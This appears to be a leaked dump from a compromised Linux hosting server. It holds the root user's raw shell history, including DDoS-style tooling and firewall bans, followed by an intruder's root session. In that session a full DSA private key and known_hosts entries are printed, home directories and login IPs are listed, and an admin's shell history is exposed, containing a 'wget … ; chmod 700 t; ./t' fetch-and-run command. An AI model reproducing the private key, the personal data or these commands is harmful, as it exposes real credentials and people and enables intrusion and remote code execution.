nano unrealircd.conf
cd /home/evilcoder
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
cd /etc/csf
ls
nano csf.deny
nano unrealircd.conf
cd /home/excodeirc/Unreal3.2
ls
nano unrealircd.conf
nano unrealircd.conf
ls
cd /home
ls
cd pr0be/
ls
su pr0be
ls
su pr0be
nano etc/passwd
nano /etc/passwd
cd /home/tribal
su tribal
ls
cd /root
ls
wget
http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz
wget http://daniel.haxx.se/projects/c-ares/c-ares-1.5.1.tar.gz
ls
tar -xzf c-ares-1.5.1.tar.gz
ls
cd c-ares-1.5.1
ls
./configure
ls
cat README
make
cat README
make install
ls
cd /home/tribal
su tribal
w
cd /home/excodeirc
ls
cd Unreal3.2
ls
./unreal stop
nano unrealircd.conf
./unreal start
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
ls
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/excodeirc
ls
mkdir BULLSHIT
ls
rm -rf denora-1.2.0-RC4
rm denora-1.2.0-RC4.tar.gz
ls
ls psybnc
rm psybnc/
ls
rm -rf psybnc/
ls
rm -rf BULLSHIT/
ls
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano ircd.motd
chown evilcode *
cd /home/excodeirc
cd Unreal3.2
ls
chown excodeirc *
nano unrealircd.conf
ls
ls
w
cd /
nano unrealircd.conf
ls
ls /root
ddos
netstat
ddos
syn
synd
ddos
csf -d 218.186.12.8
ddos 10
ddos
ddos
ddos
ddos
csf
csf -c
csf -l
w
w
cd  /
ls
w
netstat
ls
cd /home/evilcode
ls
cd unreal3.2
cd Unreal3.2
ls
nano unrealircd.conf
cd ../
ls
cd ../
ls
cd excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
dmesg
top
sh tuning*
top
clear
top
w
ls
cd /home
ls
cd excodeirc
ls
mkdir hightechhost
cd hightechhost/
ls
wget ftp://ftp.eggheads.org/pub/eggdrop/source/1.6/eggdrop1.6.18.tar.gz
ls
tar zxvf eggdrop1.6.18.tar.gz
cd eggdrop1.6.18
./configure
make config
make
ls
su excodeirc
chown excodeirc *
su excodeirc
w
ls
cd /home
ls
cd excodeirc
ls
cd hightechhost/
ls
cd eggdrop1.6.18
ls
ls -o
su excodeirc
ls
cd /
ls
cd home
ls
cd egg
ls
cd eggdrop
ls
su egg
uname -a
id egg
su egg
netstat | grep 33162
netstat
killall fight
netstat
killall fight
ps -aux
su egg
netstat
uname -a ; id egg
su egg
ls
cd /home/egg
ls
cd efnet/
su egg
w
w
ls
cat cores
ls
cd /home
ls
cd evilcode/
ls
cd Unreal3.2/
ls
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
cd /home/excodeirc
ls
cd Unreal3.2
ls
nano unrealircd.conf
cd /home/evilcode
ls
cd Unreal3.2/
ls
nano unrealircd.conf
./Config
make
./unreal stop
./unreal start
ps -aux | grep ircd
kill 3952
kill 10281
ps -aux
kill 12472
killall ircd
./unreal start
ls
./Config
make
./unreal start
cd $user
ls
mkdir newircd
cd newircd
ls
wget http://www.blurryfox.com/unreal/Unreal3.2.7.tar.gz
ls
tar xzf Unreal3.2.7.tar.gz
ls
cd Unreal3.2.7
ls
./Config
ls
cd /home
ls
cd evilcode/
ls
su evilcode
w
w
ps -aux | grep ircd
ls
cd /home
ls
cd evilcode/
ls
cd newircd/
ls
su evilcode
w
ls
cd /
ls
cd evilcode
ls
cd /home
ls
w
cd evilcode/
ls
w
netstat -a
la
ls
su evilcode
ls
su evilcoder
su evilcode
ls
who
cd /
cd /home
ls
cd evilcode
ls
cd newircd/
ls
cd Unreal3.2.7
ls
su evilcode
w
ls
cd /
ls
cd /home/evilcode
ls
cd newircd
ls
cd Unreal3.2.7
ls
nano unrealircd.conf
ls
cd /
ls
cd home
ls
cd excodeirc/
ls
cd Unreal3.2
ls
nano unrealircd.conf
./unreal stop
./unreal start
./unreal start
./unreal stop
nano unrealircd.conf
./unreal start
./unreal stop
uptime
./unreal stop
nano unrealircd.conf
w
passwd sn00ges
passwd sn00g3s
cat ircd.conf
cat ircd.log
netstat -a
nst
netstat -a
w
ls
w
cd /
ls
cd evilcode
cd /home
ls
cd evilcode/
ls
cd newircd/
su evilcode
csf -a 71.105.242.232 /etc/csf
last | grep root
nst
cat /boot/grub/grub.conf
cd /usr/src
ls
rm -rf linux*
wget sstdns.com/kernel.tar.gz
wget nix101.com/kernel.tar.gz
tar zxvf kernel.ta.gz
tar zxvf kernel.tar.gz
ln -s linux-2.6.24.3 linux
cd linux
rm -rf .config
wget sstdns.com/grsec
mv grsec .config
screen
w
ps -aux ; grep ircd
cd /home
cd evilcode
ls
su evilcode
w
ls
cd /
ps -aux
kill 19912
kill 11341
ps -aux
kill 11341
kill 11341
ps -aux
kilall fight
kill fight
kill 3534
kill 3537
kill 3540
kill 3543
kill 3546
kill 3549
ps -aux
kill 1439
kill 1499
ps-aux
ps -aux
w
ddos
netstat -a
ls
ls home
cd home
ls
ls pvannet
ls pvannet/public_html
ls
ls aosw
ls aosw/public_html
csf -a 63.173.63.241 /etc/csf
nano /etc/csf/csf.deny
ping 63.173.63.241
tracert 63.173.63.241
ls
w
cd /home
ls
cd g00ns83
ls
ls public_html/
ls
cd /
ls
cd home
ls g00ns83/backup
mv g00ns83/backup/oldlayout g00ns83/public_html
w
cd /home/evilcode
cd newircd/
su evilcode
ddos
syn
netstat
netstat -a
ddos
ddos 10
ls
csf -r
ls
nano /etc/csf/csf.deny
ls
cd /
l
ls
cd /
ls
cd /evilcode
ls
cd /home/evilcode
ls
cd newircd/
ls
cd Unreal3.2.7
su evilcode
w
cd /
cd /home
ls
cd evilcode/
ls
cd newircd/
ls
cd Unreal3.2.7
ls
su evilcode
ls
cd ../../
ls
ls evilcode
ls
ps -aux
ls
cd /home
ls
cd evilcode
ls
cd Unreal3.2
ls
ps -aux
ls
su evilcode
cd /home/evilcode
ls
cd newircd
ls
cd unreal3.2.7
cd Unreal3.2.7
ls
su evilcode
ls
w
cd /
ls
cd /home
cd evilcode/
ls
cd newircd
l
ls
cd Unreal3.2.7
ls
su evilcode
ls
cd /
ls
cd home
ls
cd excodeirc/
ls
mv Unreal3.2 privateirc
ls
mv privateirc/ Unreal3.2
cp Unreal3.2 privateircd
ls
cp Unreal3.2 privateircd
ls Unreal
ls Unreal3.2
su excodeirc
ls
cd /
cd /home
ls
cd egg/
ls
cd eggdrop
ls
nano v0ltr0n.conf
nano v0ltr0n.chan
./eggdrop-1.6.18 v0ltr0n.conf
su egg
w
passwd g00ns83
w
ls
cd /
su
ls
make install
su sixtyz
su sixtyz
ls
cd /home/sixtyz
ls
mkdir wee
cd wee
su sixtyz
ls
su sixtyz
ls
cd /
su sixtyz
su sixtyz
ls
cd /
ls
cd /home
ls
cd g00nsts395/
ls
cd ts
ls
su g00nsts395
ls
ps -aux
cd /home
ls
cd evilcode
ls
cd newircd
ls
cd Unreal3.2.7
ls
nano unrealircd.conf
su evilcode
up
last
last \ grep root
cd /var/log/httpd/domains
ls
cat g00ns.net.log | grep 403
cat g00ns.net.log
cat g00ns.net.log | grep http
cat g00ns.net.log | grep regime
cat g00ns.net.log | grep c99
cat g00ns.net.log | grep shell
cat g00ns.net.log | grep 406
cat g00ns.net.log | grep 403
htc
cat g00ns-forum.net.log | grep 403
[root@demon2 ~]# ls -al .ssh
total 24
drwx------  2 root root 4096 Feb 10 12:55 .
drwxr-x--- 14 root root 4096 Mar 27 16:14 ..
-rw-------  1 root root  668 Jul 31  2007 id_dsa
-rw-r--r--  1 root root  612 Jul 31  2007 id_dsa.pub
-rw-r--r--  1 root root 2630 Apr 14 11:40 known_hosts
[root@demon2 ~]# cat .ssh/*
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCr+zFL0Hd8ONiBNi9HwL/rgZcyIi/cHbbhZ/Sra2AaDfSFivL5
XmtmaFgSVPbxCLWgxCtM8E8MGX/T/c/A2EFwqHfXgjLAyMNBuKDfumVYMwH51smL
u5FrJhjt4qRgPnnG3W5Y1BkyoX28HvgnYHVNIGXcXe7GTutcIyGrrmYDNQIVAIKN
sRm7Oi3Ql4Nc9/R997aQiZpNAoGAeDuTtliW+zn9ki5EKTVZCTM0EhGxarDF8JOz
6JPfAlCpHEBtpNkQwmM1Gi8/XHPmAfDnNV0Na02XruhNk1UnWITBlqdU73Q413zx
LkWtyoPLECz2ySjpbTtatkcOTlDKroyZBxBEZPd3zLNClWfKAbW3mj02Pp5eMA11
eSfZoV8CgYAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+
n/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJp
xp6T7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbAIUeUGslYXH
8q7BsyrkvGrDpQAhjSI=
-----END DSA PRIVATE KEY-----
ssh-dss AAAAB3NzaC1kc3MAAACBAKv7MUvQd3w42IE2L0fAv+uBlzIiL9wdtuFn9Kt
rYBoN9IWK8vlea2ZoWBJU9vEItaDEK0zwTwwZf9P9z8DYQXCod9eCMsDIw0G4oN+6ZV
gzAfnWyYu7kWsmGO3ipGA+ecbdbljUGTKhfbwe+CdgdU0gZdxd7sZO61wjIauuZgM1A
AAAFQCCjbEZuzot0JeDXPf0ffe2kImaTQAAAIB4O5O2WJb7Of2SLkQpNVkJMzQSEbFq
sMXwk7Pok98CUKkcQG2k2RDCYzUaLz9cc+YB8Oc1XQ1rTZeu6E2TVSdYhMGWp1TvdDj
XfPEuRa3Kg8sQLPbJKOltO1q2Rw5OUMqujJkHEERk93fMs0KVZ8oBtbeaPTY+nl4wDX
V5J9mhXwAAAIAysoncbc8l0WCVF5+NF84bfbRCYLCzMKq7e4kVoyGwGcoVHjVihRa+n
/UmWxQx7Q4+DiuzzpyTFnSjUUlsxwnYXyg+9pswgyKi0FHxR01S+2b0laQNwnJpxp6T
7yuSKLG3PacwFo+WWgVlMm7lafZHjKYBm0TE3ZdnBq3EM1TsbA==
root@server.domain.com
72.20.5.94 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAz6mhC9bjyFZ4EYXzRu2C
Z8QLdxeSm9z5Y4svIrDM7xWD11MsWArRV6FAdb29NKCTVGu4Bn/jZmvjzG0W8mSd1b4
AzdOm/T24+nGdfgKujuTonEHO3xMPomTdvmYsKYgn7JYboa5meUXD2hJJZ/nZUq2aSe
7ByYsS5vCEsBHGIv0=
69.42.223.17 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx8MbaIB8gbYx6GMEEO
jwSfkeq4n/8c5erPuGuQH/oJUkU6DD1KDkqKwptS4PkiAMZVV93tU/VBo3MT1i0YVQl
TRWyg8sKuwsNv0f0x0day2qsoz0lSNYnjKXWYLqT1qryv1slI4BXuQB1jhr5dARBmVL
+YCNx6OSxvt7Q9m0JwtTqQayOm6Zcab/H3pm97nrYKRRxX3ikdXJdnekCwJw5BPZcyp
dqLlowB9hbVijWVnVZAYg96HssBRR6WxxNAPOLmCj/8bx4fLnNHu2F9tLdcNyzGMUuD
bLxYI+06Nwtk3fovpKwo+b/DmfcHaF4Lkm96pWpuhc6oduxh6ySvlviw==
halturnershow.com,208.53.158.3 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA
7ry8evVeuNNH0+p9VXPMqqPgp9NjMx/EDUj7hnGwreKYWyCybTitmpGgTDFTuu8YZGA
r+ssHoF2FMkr1lTF82IIsMx+EXMkoQJ0/SvMBO/gJiIsBRTU13n6Ad8FQZBCBez0dkz
RI0msupnbWnytPvqu9j0/pErPzaGWrINB+6N63Cs241GU6Lt8EG6RX4UVgBTSm8aold
+Ixpy+lmwTh3CNJu5zFtoCmmg7rCiQ7sn8ci4Rqq6YzV7LhzRyIiGRzH448v3/dDaUa
f2ENIvycEz27ZezeB2g5B5icTPH+VQNhqTohEtoQec0vHqA9CzSExXufDlS4is+F7dJ
LcA0Tnw==
74.86.141.218 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuSVqCiY8KhmN3OHYH
lu03zkoGIMIGQPaM0bM6alUQPl7H7iAF9WOqaQ7OjpsBxvQO7/tchkP9Azy40W428OK
gg61XDrJoy/fBnOXAmvAKj42N7l3engj9P7MN229DDH0ygM/o1ykP7bob5MZx5BSzFu
DYaQtK+OhuhbsNiXOGCtIXPQ6XLRSo72GKoFzT4Y1Kc/Pux0lXrA7JrX8cOw24TgkQ1
4Xh9vWRUXnxlq2HkrLT2VPrJ50Rl4feDSScqGyvXtQDuWrIsLdk5sA9EhIIqYbYsJUU
oHcIh30tOyOUoPcg3KTbk7gcInMGl3k7IOTZHI17wqOiNu1qIWYcGr1Tw==
apu.711chan.org,89.46.37.242 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnv
nw1ZMHvmPzZ1cNLYwYYmUWVw5xncnMe/S/yyTwQ23kpDf6Ut0z/wpKeQd+m3XTiwzDU
NsKLdIkUpZLucbqjBE1XlNF9pHqKqX1j5rvZN/rCNREdJkChWk2KRddSdBOg/Oc81tl
OX6Fjv9zLglbo2y7Ojqx2eML/zifxTTTF82V0czG/bsXdtdhcW4JtVXVoN1iUcvEvZK
AyEN41N/OZDAqUGaEYAjqDpmI/JJM3uCKDl1qelt0iuWZLEOivUp6emnjiQNPKF4Sb1
silje6uETSsjK/n8mIi1YmO/KNRg+MM9LQ2EWe/cS+xAJwyeDT9WiY/k867FjlXxIBP
cu3Lw==
[72.20.6.22]:5000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvmD6suMeQqo2o
NRg9p4nzWttZZfLC1Uhmmnv/Y7YyQRjvBBjr5rAPdbfLxY6nsc4/f6JDmwNKdIn0j6L
AcjFak/kuf7rAJwcolrsRxm4C5LH89D+r32t7guOI9hPgA0R38N7k7q2ykQlDNGyuMJ
p+1UXSAe8t0E+2VSgrr173rqNe+1oRaPWHcUdwoN9O+VmTVg+uS+cvlLSVue8BrUCZS
vcDAOdMXeSOos7kibaQ181juAjHp+xEHd0zfdQxzItP9mMz0lqnY+J/miHuu6sm4G3E
7WEXBLFjaTIZx3OzEg3eDBKpK8EYzXkYY5aq4eNNfCmqZqWdjnEBUwNCxrKGQ==
[72.20.6.190]:9000 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAneqXXAJ+LhaK
Kc6z2ugq1C6CojO0ylJCaZaO9WCL1CfstSGVBaEgYUq7qk7MtgGq71IIHuaYTE5KoXR
6l8P+pZaONa/2vSCbmdOg7q/9xBQwmuXC8zKEnR7IqPqYL5idFioGV1G2dWYMTFJySQ
MPI96jW1a4iu5AL61zC2WEr9f8jDjGQ8+FTx8u7zX8GEaEJAQQEr99CpDq29jp7pKNF
BOSo9OW5mDJt2Q8NOotExSdEkmkxrEBcOFshfiEmY99lm4QCjOFVDSxdH5s0VNKdYu0
FBfMRlEh+UXFtL29BuEQUZnMwqU2NqCJknQ1gQawn8pQfYkpf4vBsu/h4/p2ow==
[root@demon2 ~]# cd /home
[root@demon2 home]# ls -al
total 252
drwx--x--x 50 root       root        4096 Mar 27 16:19 .
drwxr-xr-x 27 root       root        4096 Mar 11 00:10 ..
drwx------  2 40zzz      40zzz       4096 Dec 21 21:57 40zzz
drwx--x--x 17 admin      admin       4096 Feb 11 22:44 admin
drwx--x--x  6 alliancedn alliancedn  4096 Aug  1  2007 alliancedn
drwx--x--x  8 aosw       aosw        4096 Aug  1  2007 aosw
-rw-------  1 root       root       13312 Apr 21 05:01 aquota.group
-rw-------  1 root       root       13312 Apr 21 05:01 aquota.user
drwxr-xr-x  3 root       root        4096 Jan 14 00:10 asbestos
drwx--x--x  9 barnseo    barnseo     4096 Mar  5 23:19 barnseo
drwx--x--x  6 bnc        bnc         4096 Aug  8  2007 bnc
drwx--x--x  6 bored      bored       4096 Aug  1  2007 bored
drwx--x--x  6 churc0     churc0      4096 Aug  1  2007 churc0
drwx--x--x  6 connors    connors     4096 Aug  1  2007 connors
drwx------  3 cstest     cstest      4096 Dec 11 17:29 cstest
drwx------  2 cunt       cunt        4096 Mar 13 17:26 cunt
drwx--x--x  5 dougie     dougie      4096 Dec 20 16:28 dougie
drwx--x--x 10 egg        egg         4096 Mar 23 11:26 egg
drwx--x--x  6 every      every       4096 Aug  1  2007 every
drwxr-xr-x  9 evilcode   evilcode    4096 Mar 25 13:40 evilcode
drwx--x--x 25 excodeirc  excodeirc   4096 Apr 14 22:26 excodeirc
drwx--x--x  6 exploiterc exploiterc  4096 Dec 15 13:10 exploiterc
drwx--x--x  7 felosi     felosi      4096 Feb 10 12:51 felosi
drwx--x--x  6 felosii    felosii     4096 Aug  1  2007 felosii
drwxr-xr-x  2 root       root        4096 Apr 22  2007 ftp
drwx--x--x  9 g00ns83    g00ns83     4096 Apr 18 21:47 g00ns83
drwx--x--x 10 g00nsts395 g00nsts395  4096 Apr 16 19:57 g00nsts395
drwx--x--x  7 grumpy     grumpy      4096 Aug  1  2007 grumpy
drwx--x--x  4 hackrad    hackrad     4096 Aug  2  2007 hackrad
drwx--x--x  5 hanon      hanon       4096 Mar 23 16:25 hanon
drwx------  2 silc       silc        4096 Jan  4 23:12 help
drwx--x--x  7 hthhost    hthhost     4096 Dec 30 14:59 hthhost
drwx------  2 ident      ident       4096 Feb  1 00:01 ident
drwx--x--x  7 illmob     illmob      4096 Apr  1 04:21 illmob
drwx--x--x  5 lost       lost        4096 Feb 19 19:07 lost
drwx------  2 root       root       16384 Jul 31  2007 lost+found
drwx--x--x  6 mycorp     mycorp      4096 Aug  2  2007 mycorp
drwx--x--x  8 party      party       4096 Mar  7 18:20 party
drwx--x--x  5 partyvan   partyvan    4096 Jan  1 15:04 partyvan
drwx--x--x  7 pingyill   pingyill    4096 Aug  1  2007 pingyill
drwx--x--x  5        564        565  4096 Mar  9 11:56 pr0be
drwx--x--x  5 pvannet    pvannet     4096 Mar 26 19:13 pvannet
drwx--x--x  6 ragedns    ragedns     4096 Aug  2  2007 ragedns
drwx--x--x  6 rageserver rageserver  4096 Aug  1  2007 rageserver
drwx--x--x  6 robo       robo        4096 Aug  1  2007 robo
drwx--x--x 15 shoutcas   shoutcas    4096 Aug  6  2007 shoutcas
drwx------  3 silc       silc        4096 Jan 18 16:08 silc
drwx--x--x  7 sixtyz     sixtyz      4096 Apr 16 19:09 sixtyz
drwx--x--x 10 sn00g3s    sn00g3s     4096 Apr  3 01:33 sn00g3s
drwxrwxrwt  2 root       root        4096 Apr 21 00:10 tmp
drwx------  5 tribal     tribal      4096 Mar 26 07:36 tribal
drwx--x--x  6 void       void        4096 Aug  1  2007 void
[root@demon2 home]# lastlog | grep -v Never
Username         Port     From             Latest
root             pts/1    74-34-107-191.ds Mon Apr 21 03:44:04 -0700 2008
barnseo          pts/1    86.121.190.64    Wed Mar  5 23:05:21 -0800 2008
bnc              pts/1    78.129.174.155   Sat Apr 19 20:27:10 -0700 2008
partyvan         pts/5    cpe-76-174-156-5 Tue Jan  1 15:27:39 -0800 2008
[root@demon2 home]# cd 40zzz
[root@demon2 40zzz]# ls -al
total 24
drwx------  2 40zzz 40zzz 4096 Dec 21 21:57 .
drwx--x--x 50 root  root  4096 Mar 27 16:19 ..
-rw-r--r--  1 40zzz 40zzz   24 Dec 21 21:57 .bash_logout
-rw-r--r--  1 40zzz 40zzz  176 Dec 21 21:57 .bash_profile
-rw-r--r--  1 40zzz 40zzz  124 Dec 21 21:57 .bashrc
[root@demon2 40zzz]# cd ../admin
[root@demon2 admin]# ls -al
total 119196
drwx--x--x 17 admin admin      4096 Feb 11 22:44 .
drwx--x--x 50 root  root       4096 Mar 27 16:19 ..
lrwxrwxrwx  1 root  root         21 Sep 13  2007 admin_backups -> /backup/admin_backups
drwxrwxr-x  2 admin admin      4096 Aug  1  2007 admin_backups1
drwx------  2 admin admin      4096 Aug  1  2007 backups
-rw-------  1 admin admin      5774 Feb 11 22:50 .bash_history
-rw-r--r--  1 admin admin       304 Apr 27  2006 .bash_logout
-rw-r--r--  1 admin admin       191 Apr 27  2006 .bash_profile
-rw-r--r--  1 admin admin       124 Apr 27  2006 .bashrc
-rw-rw-r--  1 admin admin      6090 Jul  2  2007 da.cpanel.import.9beta1.tar.gz
-r--r--r--  1 admin admin     20320 May 26  2007 da.cpanel.import.pl
-rwxr-xr-x  1 admin admin       272 Aug  6  2007 defaults.conf
drwxr-xr-x  9 admin admin      4096 Jul  4  2007 domains
drwx------  2 admin admin      4096 Sep 29  2007 .elinks
-rw-r--r--  1 admin admin       383 Apr 27  2006 .emacs
drwxr-xr-x  4 admin admin      4096 Aug  1  2007 ex
drwxrwxr-x  2 admin admin      4096 Oct 11  2007 export
drwxrwx---  5 admin admin      4096 Aug  1  2007 imap
drwxrwxr-x  2 admin admin      4096 Oct 11  2007 import
drwx------  2 admin admin      4096 Aug  1  2007 mail
drwxrwxr-x  2 admin admin      4096 Jan  4  2007 .mc
drwxr-xr-x  6 admin admin      4096 May 15  2006 modsecurity-apache_1.9.4
-rw-rw-r--  1 admin admin    496805 Jan 11  2007 modsecurity-apache_1.9.4.tar.gz
-rw-------  1 admin admin       419 Sep 29  2007 .nessusrc
drwxr-xr-x  2 admin admin      4096 Jul  3  2007 public_html
-rw-r--r--  1 admin admin     55412 Jul  3  2007 rulezz.conf
-rw-r-----  1 admin mail         34 Jun 29  2007 .shadow
drwx------  2 admin admin      4096 Aug  1  2007 .ssh
-rwx------  1 admin admin      8515 Feb 10 15:41 t
-rw-r--r--  1 admin admin    213250 Aug  1  2007 user.admin.alliancedn.tar.gz
-rw-r-----  1 admin admin 120993882 Aug  1  2007 user.admin.sn00g3s.tar.gz
drwx--x--x  2 admin admin      4096 Dec  8 10:00 user_backups
drwxr-xr-x  3 admin admin      4096 Sep 29  2007 webmail
[root@demon2 admin]# cat .bash_history
cd
cd user_backups
ftp premshells.com
ping rst-crew.net
exit
cdf
cd
cd user_backups
ftp premshells.com
uptime
nst
exit
cd
cd userbackups
cd user_backups
ftp blackhat-hosting.com
exit
ftp black-hosting.com
ftp blackhat-hosting.com
updatedb
exit
nano -w /etc/apf/deny_hosts.rules
exit
cd user_backups
cd
cd user-backups
cd user_backups
ls
cp rosec.tar.gz /home/admin/domains
cd /home/admin/domains
ls
mv rosec.tar.gz cpl.alliancedns.com
cd cpl.alliancedns.com
mv rosec.tar.gz public_html
exit
cd
mc
chmod 644 rosec.tar.gz
exit
cd
ls
rm -rf backup user_backups
mkdir /home/admin/admin_backups
ping zone-h.org
exit
cd
ls
ls
mkdir user_backups
cp *.tar.gz user_backups
exit
cd
chmod 755 domains
ls -la domains
exit
cd
chmod 755 domains
cd
exit
cd
ls
mv *.tar.gz user_backups
ls
ls user_backups
exit
crontab -e
exit
cd
ls
ls admin_backups
rm -rf admin_backups
cat /etc/hosts
ls
mkdir admin_backups
exit
cd
cd admin*
ls
ls
ls
exit
cd
ls
cd admin*
ls
rm -rf */tar.gz
ls
rm -rf *tar.gz
ls
exit
cd
cd admin*
ls
cat /etc/hosts
exit
cd
ls
mv user.admin.aosw.tar.gz admin_backups
ls admin*
ls -la admin*
top
exit
cd
ls
rm -rf backup-8.1.2007_11-19-41_g00ns83.tar.gz
wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz'
wget http://kade.nu/da/da.cpanel.import.9beta1.tar.gz
tar zxvf da.cpanel.import.9beta1.tar.gz
nano -w defaults.conf
exit
nano -w defaults.conf
chmod 755 defaults*
nano -w defaults.conf
mkdir import export
rm -rf import
mv cp import
ls
perl da.cpanel.import.pl
mkdir user_backups
perl da.cpanel.import.pl
ls user*
ls -la export
cd
ls
cd export
ls
rm -rf niggerma.tar.gz sevenz.tar.gz
mv *.tar.gz ../user_backups
ls
cd ..
ls -la user_backups
exit
cd
ls
ls -la
rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz
ls import
cd import
ls -la
rm -rf backup*
ls -la
ls -la
ls -la
ls -la
exit
cd
ls -la
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
rm -rf backup-8.2.2007_18-32-22_g00ns83.tar.gz
ls
ddos
exit
cd
cd import
ls
ls
cd
wget nix101.com/mod.tar.gz
wget http://www.modsecurity.org/download/modsecurity-apache_1.9.4.tar.gz
tar zxvf modsecurity-apache_1.9.4.tar.gz
cd mod*
cd apache1
apxs
apxs -cia mod_security.c
yum install httpd-devel
exit
cd
cd import
ls
exit
cd
cd import
ls
cd
ls
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
nst
exit

cd
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
exuit
exit
cd
cd import
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
ls -la
exit
\cd
ls
perl da.cpanel.import.pl
cd export
ls
mv g00ns* ../user_backups
ping demon2.rage-servers.com
cd
cd /backup
ls
nano test
rm -rf test
exit
cd
ls
ls backup
rm -rf backup
top
exit
su admin
id
cd
ls
ls export
exit
cd
cd import
ls
rm -rf *.tar.gz
ftp 209.200.50.124
ls
rm -rf back*
cd
cd import
ftp 209.200.50.124
quit
ftp 209.200.50.124
cd
ls
nano -w defaults.conf
perl da.cpanel.import.pl
ls export
cd import
ls
cd
cd export
ls
cp shoutcas.tar.gz ../user_backups
cd /home/shou*
exit
cd
ls
ls -la export
ls -la user_backups
exit
cd
csf -a 72.20.1.46
exit
cd
ftp 72.20.1.46
ls
mv your* user_backups
exit
cd
cd domains
ls
cd premshells.com
ls
cd public_html
ls
exit
cd
cd domains
cd prem*
wget protectedhost.com/stat.tar.gz
tar zxvf stat*
LS
ls
tar zxvf stat.tar.gz
mv status public_html
cd
cd domains
ls
cd premshells.com
cd public_html;
wget http://enterprise.bidmc.harvard.edu/pub/nessus-php/nessus-php-0.7.tar.gz
tar zxvf nessus-php-0.7.tar.gz
mv nessus-php-0.7/ nes
links http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386
	.rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4
wget http://cgi.tenablesecurity.com/nessus3dl.php?file=Nessus-3.0.6-es5.i386.
	rpm&licence_accept=yes&t=aefdb0eaf2b035d672a91d4b551187b4
rm -rf index.html.1
killall links
wget shitonkikes.com/Nessus-3.0.6-es5.i386.rpm
rpm -i Nessus-3.0.6-es5.i386.rpm
exit
exit
./configure
cd /opt
ls
cd ness*
ls
ls sbin
sbin/nessus-adduser
exit
cd
cd import
ftp cp2.secureservertech.com
cd ..
ls
nano -w defaults.conf
ls import
rm -rf import/backup-8.6.2007_22-02-36_shoutcas.tar.gz
perl da.cpanel.import.pl
ls export
cp export/stockegg* user_backups
ls user-Backups
ls user_backups
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
ping www.stockegg.com
service named restart
exit
cd
cd user_*
ls
ftp sst0.com
cd
cd user_*
ls -la aryan88*
ftp sst0.com
exit
cd
cd user_*
ftp sst0.com
cd
ls
exit
cd
ls
wget fearlesshost.com/t
chmod 700 t
./t
exit
[root@demon2 admin]# ls -al .ssh
total 12
drwx------  2 admin admin 4096 Aug  1  2007 .
drwx--x--x 17 admin admin 4096 Feb 11 22:44 ..
-rw-r--r--  1 admin admin  220 Aug  1  2007 known_hosts
[root@demon2 admin]# cat .ssh/*
72.20.1.46 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA6qCFv8UowWc3dcRnWqzz4tPsx4Glt
EUA4rRmt/tsP0T4bsddMuF0yYvaSHVAZNjZwfup0heDh/cCs08AiGlKDL3yvNO4nTa/sXKr1AJ0W
dg0GMnhT+D0Mu8PXdCKhIfPZLsaW5p45WYmwy6afKxM20wZNVKw3YTXJweFE6n0s9M=
[root@demon2 admin]# ls -al /backup/admin_backups
total 28936116
drwxr-xr-x 2 admin admin             4096 Dec 30 16:49 .
